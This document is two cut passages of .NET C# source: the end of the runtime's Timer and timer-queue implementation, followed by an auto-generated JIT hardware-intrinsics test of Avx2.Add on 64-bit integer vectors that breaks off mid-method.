WaitCallback(FireQueuedTimerCompletion); // Can use "unsafe" variant because we take care of capturing and restoring // the ExecutionContext. ThreadPool.UnsafeQueueUserWorkItem(callback, timer); } private static WaitCallback s_fireQueuedTimerCompletion; private static void FireQueuedTimerCompletion(object state) { ((TimerQueueTimer)state).Fire(); } #endregion #region Queue implementation public bool UpdateTimer(TimerQueueTimer timer, uint dueTime, uint period) { if (timer.m_dueTime == Timeout.UnsignedInfinite) { // the timer is not in the list; add it (as the head of the list). timer.m_next = m_timers; timer.m_prev = null; if (timer.m_next != null) timer.m_next.m_prev = timer; m_timers = timer; } timer.m_dueTime = dueTime; timer.m_period = (period == 0) ? Timeout.UnsignedInfinite : period; timer.m_startTicks = TickCount; return EnsureAppDomainTimerFiresBy(dueTime); } public void DeleteTimer(TimerQueueTimer timer) { if (timer.m_dueTime != Timeout.UnsignedInfinite) { if (timer.m_next != null) timer.m_next.m_prev = timer.m_prev; if (timer.m_prev != null) timer.m_prev.m_next = timer.m_next; if (m_timers == timer) m_timers = timer.m_next; timer.m_dueTime = Timeout.UnsignedInfinite; timer.m_period = Timeout.UnsignedInfinite; timer.m_startTicks = 0; timer.m_prev = null; timer.m_next = null; } } #endregion } // // A timer in our TimerQueue. // sealed class TimerQueueTimer { // // All fields of this class are protected by a lock on TimerQueue.Instance. // // The first four fields are maintained by TimerQueue itself. // internal TimerQueueTimer m_next; internal TimerQueueTimer m_prev; // // The time, according to TimerQueue.TickCount, when this timer's current interval started. // internal int m_startTicks; // // Timeout.UnsignedInfinite if we are not going to fire. Otherwise, the offset from m_startTime when we will fire. // internal uint m_dueTime; // // Timeout.UnsignedInfinite if we are a single-shot timer. Otherwise, the repeat interval. // internal uint m_period; // // Info about the user's callback // readonly TimerCallback m_timerCallback; readonly Object m_state; readonly ExecutionContext m_executionContext; // // When Timer.Dispose(WaitHandle) is used, we need to signal the wait handle only // after all pending callbacks are complete. We set m_canceled to prevent any callbacks that // are already queued from running. We track the number of callbacks currently executing in // m_callbacksRunning. We set m_notifyWhenNoCallbacksRunning only when m_callbacksRunning // reaches zero. // int m_callbacksRunning; volatile bool m_canceled; volatile WaitHandle m_notifyWhenNoCallbacksRunning; [SecurityCritical] internal TimerQueueTimer(TimerCallback timerCallback, object state, uint dueTime, uint period, ref StackCrawlMark stackMark) { m_timerCallback = timerCallback; m_state = state; m_dueTime = Timeout.UnsignedInfinite; m_period = Timeout.UnsignedInfinite; if (!ExecutionContext.IsFlowSuppressed()) { m_executionContext = ExecutionContext.Capture( ref stackMark, ExecutionContext.CaptureOptions.IgnoreSyncCtx | ExecutionContext.CaptureOptions.OptimizeDefaultCase); } // // After the following statement, the timer may fire. No more manipulation of timer state outside of // the lock is permitted beyond this point! // if (dueTime != Timeout.UnsignedInfinite) Change(dueTime, period); } internal bool Change(uint dueTime, uint period) { bool success; lock (TimerQueue.Instance) { if (m_canceled) throw new ObjectDisposedException(null, Environment.GetResourceString("ObjectDisposed_Generic")); // prevent ThreadAbort while updating state try { } finally { m_period = period; if (dueTime == Timeout.UnsignedInfinite) { TimerQueue.Instance.DeleteTimer(this); success = true; } else { if (FrameworkEventSource.IsInitialized && FrameworkEventSource.Log.IsEnabled(EventLevel.Informational, FrameworkEventSource.Keywords.ThreadTransfer)) FrameworkEventSource.Log.ThreadTransferSendObj(this, 1, string.Empty, true); success = TimerQueue.Instance.UpdateTimer(this, dueTime, period); } } } return success; } public void Close() { lock (TimerQueue.Instance) { // prevent ThreadAbort while updating state try { } finally { if (!m_canceled) { m_canceled = true; TimerQueue.Instance.DeleteTimer(this); } } } } public bool Close(WaitHandle toSignal) { bool success; bool shouldSignal = false; lock (TimerQueue.Instance) { // prevent ThreadAbort while updating state try { } finally { if (m_canceled) { success = false; } else { m_canceled = true; m_notifyWhenNoCallbacksRunning = toSignal; TimerQueue.Instance.DeleteTimer(this); if (m_callbacksRunning == 0) shouldSignal = true; success = true; } } } if (shouldSignal) SignalNoCallbacksRunning(); return success; } internal void Fire() { bool canceled = false; lock (TimerQueue.Instance) { // prevent ThreadAbort while updating state try { } finally { canceled = m_canceled; if (!canceled) m_callbacksRunning++; } } if (canceled) return; CallCallback(); bool shouldSignal = false; lock (TimerQueue.Instance) { // prevent ThreadAbort while updating state try { } finally { m_callbacksRunning--; if (m_canceled && m_callbacksRunning == 0 && m_notifyWhenNoCallbacksRunning != null) shouldSignal = true; } } if (shouldSignal) SignalNoCallbacksRunning(); } [SecuritySafeCritical] internal void SignalNoCallbacksRunning() { Win32Native.SetEvent(m_notifyWhenNoCallbacksRunning.SafeWaitHandle); } [SecuritySafeCritical] internal void CallCallback() { if (FrameworkEventSource.IsInitialized && FrameworkEventSource.Log.IsEnabled(EventLevel.Informational, FrameworkEventSource.Keywords.ThreadTransfer)) FrameworkEventSource.Log.ThreadTransferReceiveObj(this, 1, string.Empty); // call directly if EC flow is suppressed if (m_executionContext == null) { m_timerCallback(m_state); } else { using (ExecutionContext executionContext = m_executionContext.IsPreAllocatedDefault ? m_executionContext : m_executionContext.CreateCopy()) { ContextCallback callback = s_callCallbackInContext; if (callback == null) s_callCallbackInContext = callback = new ContextCallback(CallCallbackInContext); ExecutionContext.Run( executionContext, callback, this, // state true); // ignoreSyncCtx } } } [SecurityCritical] private static ContextCallback s_callCallbackInContext; [SecurityCritical] private static void CallCallbackInContext(object state) { TimerQueueTimer t = (TimerQueueTimer)state; t.m_timerCallback(t.m_state); } } // // TimerHolder serves as an intermediary between Timer and TimerQueueTimer, releasing the TimerQueueTimer // if the Timer is collected. // This is necessary because Timer itself cannot use its finalizer for this purpose. If it did, // then users could control timer lifetimes using GC.SuppressFinalize/ReRegisterForFinalize. // You might ask, wouldn't that be a good thing? Maybe (though it would be even better to offer this // via first-class APIs), but Timer has never offered this, and adding it now would be a breaking // change, because any code that happened to be suppressing finalization of Timer objects would now // unwittingly be changing the lifetime of those timers. // sealed class TimerHolder { internal TimerQueueTimer m_timer; public TimerHolder(TimerQueueTimer timer) { m_timer = timer; } ~TimerHolder() { // // If shutdown has started, another thread may be suspended while holding the timer lock. // So we can't safely close the timer. // // Similarly, we should not close the timer during AD-unload's live-object finalization phase. // A rude abort may have prevented us from releasing the lock. // // Note that in either case, the Timer still won't fire, because ThreadPool threads won't be // allowed to run in this AppDomain. // if (Environment.HasShutdownStarted || AppDomain.CurrentDomain.IsFinalizingForUnload()) return; m_timer.Close(); } public void Close() { m_timer.Close(); GC.SuppressFinalize(this); } public bool Close(WaitHandle notifyObject) { bool result = m_timer.Close(notifyObject); GC.SuppressFinalize(this); return result; } } [HostProtection(Synchronization=true, ExternalThreading=true)] [System.Runtime.InteropServices.ComVisible(true)] #if FEATURE_REMOTING public sealed class Timer : MarshalByRefObject, IDisposable #else // FEATURE_REMOTING public sealed class Timer : IDisposable #endif // FEATURE_REMOTING { private const UInt32 MAX_SUPPORTED_TIMEOUT = (uint)0xfffffffe; private TimerHolder m_timer; [SecuritySafeCritical] [MethodImplAttribute(MethodImplOptions.NoInlining)] // Methods containing StackCrawlMark local var has to be marked non-inlineable public Timer(TimerCallback callback, Object state, int dueTime, int period) { if (dueTime < -1) throw new ArgumentOutOfRangeException("dueTime", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); if (period < -1 ) throw new ArgumentOutOfRangeException("period", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); Contract.EndContractBlock(); StackCrawlMark stackMark = StackCrawlMark.LookForMyCaller; TimerSetup(callback,state,(UInt32)dueTime,(UInt32)period,ref stackMark); } [SecuritySafeCritical] [MethodImplAttribute(MethodImplOptions.NoInlining)] // Methods containing StackCrawlMark local var has to be marked non-inlineable public Timer(TimerCallback callback, Object state, TimeSpan dueTime, TimeSpan period) { long dueTm = (long)dueTime.TotalMilliseconds; if (dueTm < -1) throw new ArgumentOutOfRangeException("dueTm",Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); if (dueTm > MAX_SUPPORTED_TIMEOUT) throw new ArgumentOutOfRangeException("dueTm",Environment.GetResourceString("ArgumentOutOfRange_TimeoutTooLarge")); long periodTm = (long)period.TotalMilliseconds; if (periodTm < -1) throw new ArgumentOutOfRangeException("periodTm",Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); if (periodTm > MAX_SUPPORTED_TIMEOUT) throw new ArgumentOutOfRangeException("periodTm",Environment.GetResourceString("ArgumentOutOfRange_PeriodTooLarge")); StackCrawlMark stackMark = StackCrawlMark.LookForMyCaller; TimerSetup(callback,state,(UInt32)dueTm,(UInt32)periodTm,ref stackMark); } [CLSCompliant(false)] [SecuritySafeCritical] [MethodImplAttribute(MethodImplOptions.NoInlining)] // Methods containing StackCrawlMark local var has to be marked non-inlineable public Timer(TimerCallback callback, Object state, UInt32 dueTime, UInt32 period) { StackCrawlMark stackMark = StackCrawlMark.LookForMyCaller; TimerSetup(callback,state,dueTime,period,ref stackMark); } [SecuritySafeCritical] [MethodImplAttribute(MethodImplOptions.NoInlining)] // Methods containing StackCrawlMark local var has to be marked non-inlineable public Timer(TimerCallback callback, Object state, long dueTime, long period) { if (dueTime < -1) throw new ArgumentOutOfRangeException("dueTime",Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); if (period < -1) throw new ArgumentOutOfRangeException("period",Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); if (dueTime > MAX_SUPPORTED_TIMEOUT) throw new ArgumentOutOfRangeException("dueTime",Environment.GetResourceString("ArgumentOutOfRange_TimeoutTooLarge")); if (period > MAX_SUPPORTED_TIMEOUT) throw new ArgumentOutOfRangeException("period",Environment.GetResourceString("ArgumentOutOfRange_PeriodTooLarge")); Contract.EndContractBlock(); StackCrawlMark stackMark = StackCrawlMark.LookForMyCaller; TimerSetup(callback,state,(UInt32) dueTime, (UInt32) period,ref stackMark); } [SecuritySafeCritical] [MethodImplAttribute(MethodImplOptions.NoInlining)] // Methods containing StackCrawlMark local var has to be marked non-inlineable public Timer(TimerCallback callback) { int dueTime = -1; // we want timer to be registered, but not activated. Requires caller to call int period = -1; // Change after a timer instance is created. This is to avoid the potential // for a timer to be fired before the returned value is assigned to the variable, // potentially causing the callback to reference a bogus value (if passing the timer to the callback). StackCrawlMark stackMark = StackCrawlMark.LookForMyCaller; TimerSetup(callback, this, (UInt32)dueTime, (UInt32)period, ref stackMark); } [SecurityCritical] private void TimerSetup(TimerCallback callback, Object state, UInt32 dueTime, UInt32 period, ref StackCrawlMark stackMark) { if (callback == null) throw new ArgumentNullException("TimerCallback"); Contract.EndContractBlock(); m_timer = new TimerHolder(new TimerQueueTimer(callback, state, dueTime, period, ref stackMark)); } [SecurityCritical] internal static void Pause() { TimerQueue.Instance.Pause(); } [SecurityCritical] internal static void Resume() { TimerQueue.Instance.Resume(); } public bool Change(int dueTime, int period) { if (dueTime < -1 ) throw new ArgumentOutOfRangeException("dueTime",Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); if (period < -1) throw new ArgumentOutOfRangeException("period",Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); Contract.EndContractBlock(); return m_timer.m_timer.Change((UInt32)dueTime, (UInt32)period); } public bool Change(TimeSpan dueTime, TimeSpan period) { return Change((long) dueTime.TotalMilliseconds, (long) period.TotalMilliseconds); } [CLSCompliant(false)] public bool Change(UInt32 dueTime, UInt32 period) { return m_timer.m_timer.Change(dueTime, period); } public bool Change(long dueTime, long period) { if (dueTime < -1 ) throw new ArgumentOutOfRangeException("dueTime", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); if (period < -1) throw new ArgumentOutOfRangeException("period", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); if (dueTime > MAX_SUPPORTED_TIMEOUT) throw new ArgumentOutOfRangeException("dueTime", Environment.GetResourceString("ArgumentOutOfRange_TimeoutTooLarge")); if (period > MAX_SUPPORTED_TIMEOUT) throw new ArgumentOutOfRangeException("period", Environment.GetResourceString("ArgumentOutOfRange_PeriodTooLarge")); Contract.EndContractBlock(); return m_timer.m_timer.Change((UInt32)dueTime, (UInt32)period); } public bool Dispose(WaitHandle notifyObject) { if (notifyObject==null) throw new ArgumentNullException("notifyObject"); Contract.EndContractBlock(); return m_timer.Close(notifyObject); } public void Dispose() { m_timer.Close(); } internal void KeepRootedWhileScheduled() { GC.SuppressFinalize(m_timer); } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. /****************************************************************************** * This file is auto-generated from a template file by the GenerateTests.csx * * script in tests\src\JIT\HardwareIntrinsics\X86\Shared. In order to make * * changes, please update the corresponding template and run according to the * * directions listed in the file. * ******************************************************************************/ using System; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Runtime.Intrinsics; using System.Runtime.Intrinsics.X86; namespace JIT.HardwareIntrinsics.X86 { public static partial class Program { private static void AddInt64() { var test = new SimpleBinaryOpTest__AddInt64(); if (test.IsSupported) { // Validates basic functionality works, using Unsafe.Read test.RunBasicScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates basic functionality works, using Load test.RunBasicScenario_Load(); // Validates basic functionality works, using LoadAligned test.RunBasicScenario_LoadAligned(); } // Validates calling via reflection works, using Unsafe.Read test.RunReflectionScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates calling via reflection works, using Load test.RunReflectionScenario_Load(); // Validates calling via reflection works, using LoadAligned test.RunReflectionScenario_LoadAligned(); } // Validates passing a static member works test.RunClsVarScenario(); if (Avx.IsSupported) { // Validates passing a static member works, using pinning and Load test.RunClsVarScenario_Load(); } // Validates passing a local works, using Unsafe.Read test.RunLclVarScenario_UnsafeRead(); if (Avx.IsSupported) { // Validates passing a local works, using Load test.RunLclVarScenario_Load(); // Validates passing a local works, using LoadAligned test.RunLclVarScenario_LoadAligned(); } // Validates passing the field of a local class works test.RunClassLclFldScenario(); if (Avx.IsSupported) { // Validates passing the field of a local class works, using pinning and Load test.RunClassLclFldScenario_Load(); } // Validates passing an instance member of a class works test.RunClassFldScenario(); if (Avx.IsSupported) { // Validates passing an instance member of a class works, using pinning and Load test.RunClassFldScenario_Load(); } // Validates passing the field of a local struct works test.RunStructLclFldScenario(); if (Avx.IsSupported) { // Validates passing the field of a local struct works, using pinning and Load test.RunStructLclFldScenario_Load(); } // Validates passing an instance member of a struct works test.RunStructFldScenario(); if (Avx.IsSupported) { // Validates passing an instance member of a struct works, using pinning and Load test.RunStructFldScenario_Load(); } } else { // Validates we throw on unsupported hardware test.RunUnsupportedScenario(); } if (!test.Succeeded) { throw new Exception("One or more scenarios did not complete as expected."); } } } public sealed unsafe class SimpleBinaryOpTest__AddInt64 { private struct DataTable { private byte[] inArray1; private byte[] inArray2; private byte[] outArray; private GCHandle inHandle1; private GCHandle inHandle2; private GCHandle outHandle; private ulong alignment; public DataTable(Int64[] inArray1, Int64[] inArray2, Int64[] outArray, int alignment) { int sizeOfinArray1 = inArray1.Length * Unsafe.SizeOf<Int64>(); int sizeOfinArray2 = inArray2.Length * Unsafe.SizeOf<Int64>(); int sizeOfoutArray = outArray.Length * Unsafe.SizeOf<Int64>(); if ((alignment != 32 && alignment != 16) || (alignment * 2) < sizeOfinArray1 || (alignment * 2) < sizeOfinArray2 || (alignment * 2) < sizeOfoutArray) { throw new ArgumentException("Invalid value of alignment"); } this.inArray1 = new byte[alignment * 2]; this.inArray2 = new byte[alignment * 2]; this.outArray = new byte[alignment * 2]; this.inHandle1 = GCHandle.Alloc(this.inArray1, GCHandleType.Pinned); this.inHandle2 = GCHandle.Alloc(this.inArray2, GCHandleType.Pinned); this.outHandle = GCHandle.Alloc(this.outArray, GCHandleType.Pinned); this.alignment = (ulong)alignment; Unsafe.CopyBlockUnaligned(ref Unsafe.AsRef<byte>(inArray1Ptr), ref Unsafe.As<Int64, byte>(ref inArray1[0]), (uint)sizeOfinArray1); Unsafe.CopyBlockUnaligned(ref Unsafe.AsRef<byte>(inArray2Ptr), ref Unsafe.As<Int64, byte>(ref inArray2[0]), (uint)sizeOfinArray2); } public void* inArray1Ptr => Align((byte*)(inHandle1.AddrOfPinnedObject().ToPointer()), alignment); public void* inArray2Ptr => Align((byte*)(inHandle2.AddrOfPinnedObject().ToPointer()), alignment); public void* outArrayPtr => Align((byte*)(outHandle.AddrOfPinnedObject().ToPointer()), alignment); public void Dispose() { inHandle1.Free(); inHandle2.Free(); outHandle.Free(); } private static unsafe void* Align(byte* buffer, ulong expectedAlignment) { return (void*)(((ulong)buffer + expectedAlignment - 1) & ~(expectedAlignment - 1)); } } private struct TestStruct { public Vector256<Int64> _fld1; public Vector256<Int64> _fld2; public static TestStruct Create() { var testStruct = new TestStruct(); for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetInt64(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Int64>, byte>(ref testStruct._fld1), ref Unsafe.As<Int64, byte>(ref _data1[0]), (uint)Unsafe.SizeOf<Vector256<Int64>>()); for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetInt64(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Int64>, byte>(ref testStruct._fld2), ref Unsafe.As<Int64, byte>(ref _data2[0]), (uint)Unsafe.SizeOf<Vector256<Int64>>()); return testStruct; } public void RunStructFldScenario(SimpleBinaryOpTest__AddInt64 testClass) { var result = Avx2.Add(_fld1, _fld2); Unsafe.Write(testClass._dataTable.outArrayPtr, result); testClass.ValidateResult(_fld1, _fld2, testClass._dataTable.outArrayPtr); } public void RunStructFldScenario_Load(SimpleBinaryOpTest__AddInt64 testClass) { fixed (Vector256<Int64>* pFld1 = &_fld1) fixed (Vector256<Int64>* pFld2 = &_fld2) { var result = Avx2.Add( Avx.LoadVector256((Int64*)(pFld1)), Avx.LoadVector256((Int64*)(pFld2)) ); Unsafe.Write(testClass._dataTable.outArrayPtr, result); testClass.ValidateResult(_fld1, _fld2, testClass._dataTable.outArrayPtr); } } } private static readonly int LargestVectorSize = 32; private static readonly int Op1ElementCount = Unsafe.SizeOf<Vector256<Int64>>() / sizeof(Int64); private static readonly int Op2ElementCount = Unsafe.SizeOf<Vector256<Int64>>() / sizeof(Int64); private static readonly int RetElementCount = Unsafe.SizeOf<Vector256<Int64>>() / sizeof(Int64); private static Int64[] _data1 = new Int64[Op1ElementCount]; private static Int64[] _data2 = new Int64[Op2ElementCount]; private static Vector256<Int64> _clsVar1; private static Vector256<Int64> _clsVar2; private Vector256<Int64> _fld1; private Vector256<Int64> _fld2; private DataTable _dataTable; static SimpleBinaryOpTest__AddInt64() { for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetInt64(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Int64>, byte>(ref _clsVar1), ref Unsafe.As<Int64, byte>(ref _data1[0]), (uint)Unsafe.SizeOf<Vector256<Int64>>()); for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetInt64(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Int64>, byte>(ref _clsVar2), ref Unsafe.As<Int64, byte>(ref _data2[0]), (uint)Unsafe.SizeOf<Vector256<Int64>>()); } public SimpleBinaryOpTest__AddInt64() { Succeeded = true; for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetInt64(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Int64>, byte>(ref _fld1), ref Unsafe.As<Int64, byte>(ref _data1[0]), (uint)Unsafe.SizeOf<Vector256<Int64>>()); for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetInt64(); } Unsafe.CopyBlockUnaligned(ref Unsafe.As<Vector256<Int64>, byte>(ref _fld2), ref Unsafe.As<Int64, byte>(ref _data2[0]), (uint)Unsafe.SizeOf<Vector256<Int64>>()); for (var i = 0; i < Op1ElementCount; i++) { _data1[i] = TestLibrary.Generator.GetInt64(); } for (var i = 0; i < Op2ElementCount; i++) { _data2[i] = TestLibrary.Generator.GetInt64(); } _dataTable = new DataTable(_data1, _data2, new Int64[RetElementCount], LargestVectorSize); } public bool IsSupported => Avx2.IsSupported; public bool Succeeded { get; set; } public void RunBasicScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_UnsafeRead)); var result = Avx2.Add( Unsafe.Read<Vector256<Int64>>(_dataTable.inArray1Ptr), Unsafe.Read<Vector256<Int64>>(_dataTable.inArray2Ptr) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunBasicScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_Load)); var result = Avx2.Add( Avx.LoadVector256((Int64*)(_dataTable.inArray1Ptr)), Avx.LoadVector256((Int64*)(_dataTable.inArray2Ptr)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunBasicScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunBasicScenario_LoadAligned)); var result = Avx2.Add( Avx.LoadAlignedVector256((Int64*)(_dataTable.inArray1Ptr)), Avx.LoadAlignedVector256((Int64*)(_dataTable.inArray2Ptr)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunReflectionScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_UnsafeRead)); var result = typeof(Avx2).GetMethod(nameof(Avx2.Add), new Type[] { typeof(Vector256<Int64>), typeof(Vector256<Int64>) }) .Invoke(null, new object[] { Unsafe.Read<Vector256<Int64>>(_dataTable.inArray1Ptr), Unsafe.Read<Vector256<Int64>>(_dataTable.inArray2Ptr) }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<Int64>)(result)); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunReflectionScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_Load)); var result = typeof(Avx2).GetMethod(nameof(Avx2.Add), new Type[] { typeof(Vector256<Int64>), typeof(Vector256<Int64>) }) .Invoke(null, new object[] { Avx.LoadVector256((Int64*)(_dataTable.inArray1Ptr)), Avx.LoadVector256((Int64*)(_dataTable.inArray2Ptr)) }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<Int64>)(result)); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunReflectionScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunReflectionScenario_LoadAligned)); var result = typeof(Avx2).GetMethod(nameof(Avx2.Add), new Type[] { typeof(Vector256<Int64>), typeof(Vector256<Int64>) }) .Invoke(null, new object[] { Avx.LoadAlignedVector256((Int64*)(_dataTable.inArray1Ptr)), Avx.LoadAlignedVector256((Int64*)(_dataTable.inArray2Ptr)) }); Unsafe.Write(_dataTable.outArrayPtr, (Vector256<Int64>)(result)); ValidateResult(_dataTable.inArray1Ptr, _dataTable.inArray2Ptr, _dataTable.outArrayPtr); } public void RunClsVarScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClsVarScenario)); var result = Avx2.Add( _clsVar1, _clsVar2 ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_clsVar1, _clsVar2, _dataTable.outArrayPtr); } public void RunClsVarScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunClsVarScenario_Load)); fixed (Vector256<Int64>* pClsVar1 = &_clsVar1) fixed (Vector256<Int64>* pClsVar2 = &_clsVar2) { var result = Avx2.Add( Avx.LoadVector256((Int64*)(pClsVar1)), Avx.LoadVector256((Int64*)(pClsVar2)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_clsVar1, _clsVar2, _dataTable.outArrayPtr); } } public void RunLclVarScenario_UnsafeRead() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_UnsafeRead)); var op1 = Unsafe.Read<Vector256<Int64>>(_dataTable.inArray1Ptr); var op2 = Unsafe.Read<Vector256<Int64>>(_dataTable.inArray2Ptr); var result = Avx2.Add(op1, op2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(op1, op2, _dataTable.outArrayPtr); } public void RunLclVarScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_Load)); var op1 = Avx.LoadVector256((Int64*)(_dataTable.inArray1Ptr)); var op2 = Avx.LoadVector256((Int64*)(_dataTable.inArray2Ptr)); var result = Avx2.Add(op1, op2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(op1, op2, _dataTable.outArrayPtr); } public void RunLclVarScenario_LoadAligned() { TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_LoadAligned)); var op1 = Avx.LoadAlignedVector256((Int64*)(_dataTable.inArray1Ptr)); var op2 = Avx.LoadAlignedVector256((Int64*)(_dataTable.inArray2Ptr)); var result = Avx2.Add(op1, op2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(op1, op2, _dataTable.outArrayPtr); } public void RunClassLclFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassLclFldScenario)); var test = new SimpleBinaryOpTest__AddInt64(); var result = Avx2.Add(test._fld1, test._fld2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr); } public void RunClassLclFldScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassLclFldScenario_Load)); var test = new SimpleBinaryOpTest__AddInt64(); fixed (Vector256<Int64>* pFld1 = &test._fld1) fixed (Vector256<Int64>* pFld2 = &test._fld2) { var result = Avx2.Add( Avx.LoadVector256((Int64*)(pFld1)), Avx.LoadVector256((Int64*)(pFld2)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr); } } public void RunClassFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassFldScenario)); var result = Avx2.Add(_fld1, _fld2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_fld1, _fld2, _dataTable.outArrayPtr); } public void RunClassFldScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunClassFldScenario_Load)); fixed (Vector256<Int64>* pFld1 = &_fld1) fixed (Vector256<Int64>* pFld2 = &_fld2) { var result = Avx2.Add( Avx.LoadVector256((Int64*)(pFld1)), Avx.LoadVector256((Int64*)(pFld2)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(_fld1, _fld2, _dataTable.outArrayPtr); } } public void RunStructLclFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructLclFldScenario)); var test = TestStruct.Create(); var result = Avx2.Add(test._fld1, test._fld2); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr); } public void RunStructLclFldScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructLclFldScenario_Load)); var test = TestStruct.Create(); var result = Avx2.Add( Avx.LoadVector256((Int64*)(&test._fld1)), Avx.LoadVector256((Int64*)(&test._fld2)) ); Unsafe.Write(_dataTable.outArrayPtr, result); ValidateResult(test._fld1, test._fld2, _dataTable.outArrayPtr); } public void RunStructFldScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructFldScenario)); var test = TestStruct.Create(); test.RunStructFldScenario(this); } public void RunStructFldScenario_Load() { TestLibrary.TestFramework.BeginScenario(nameof(RunStructFldScenario_Load)); var test = TestStruct.Create(); test.RunStructFldScenario_Load(this); } public void RunUnsupportedScenario() { TestLibrary.TestFramework.BeginScenario(nameof(RunUnsupportedScenario)); bool succeeded = false; try { RunBasicScenario_UnsafeRead(); } catch (PlatformNotSupportedException) { succeeded = true; } if (!succeeded) { Succeeded = false; } } private void ValidateResult(Vector256<Int64> op1, Vector256<Int64> op2, void* result, [CallerMemberName] string method = "") { Int64[] inArray1 = new Int64[Op1ElementCount]; Int64[] inArray2 = new Int64[Op2ElementCount]; Int64[] outArray = new Int64[RetElementCount]; Unsafe.WriteUnaligned(ref Unsafe.As<Int64, byte>(ref inArray1[0]), op1); Unsafe.WriteUnaligned(ref Unsafe.As<Int64, byte>(ref inArray2[0]), op2); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int64, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector256<Int64>>()); ValidateResult(inArray1, inArray2, outArray, method); } private void ValidateResult(void* op1, void* op2, void* result, [CallerMemberName] string method = "") { Int64[] inArray1 = new Int64[Op1ElementCount]; Int64[] inArray2 = new Int64[Op2ElementCount]; Int64[] outArray = new Int64[RetElementCount]; Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int64, byte>(ref inArray1[0]), ref Unsafe.AsRef<byte>(op1), (uint)Unsafe.SizeOf<Vector256<Int64>>()); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int64, byte>(ref inArray2[0]), ref Unsafe.AsRef<byte>(op2), (uint)Unsafe.SizeOf<Vector256<Int64>>()); Unsafe.CopyBlockUnaligned(ref Unsafe.As<Int64, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector256<Int64>>()); ValidateResult(inArray1, inArray2, outArray, method); } private void ValidateResult(Int64[] left, Int64[] right, Int64[] result, 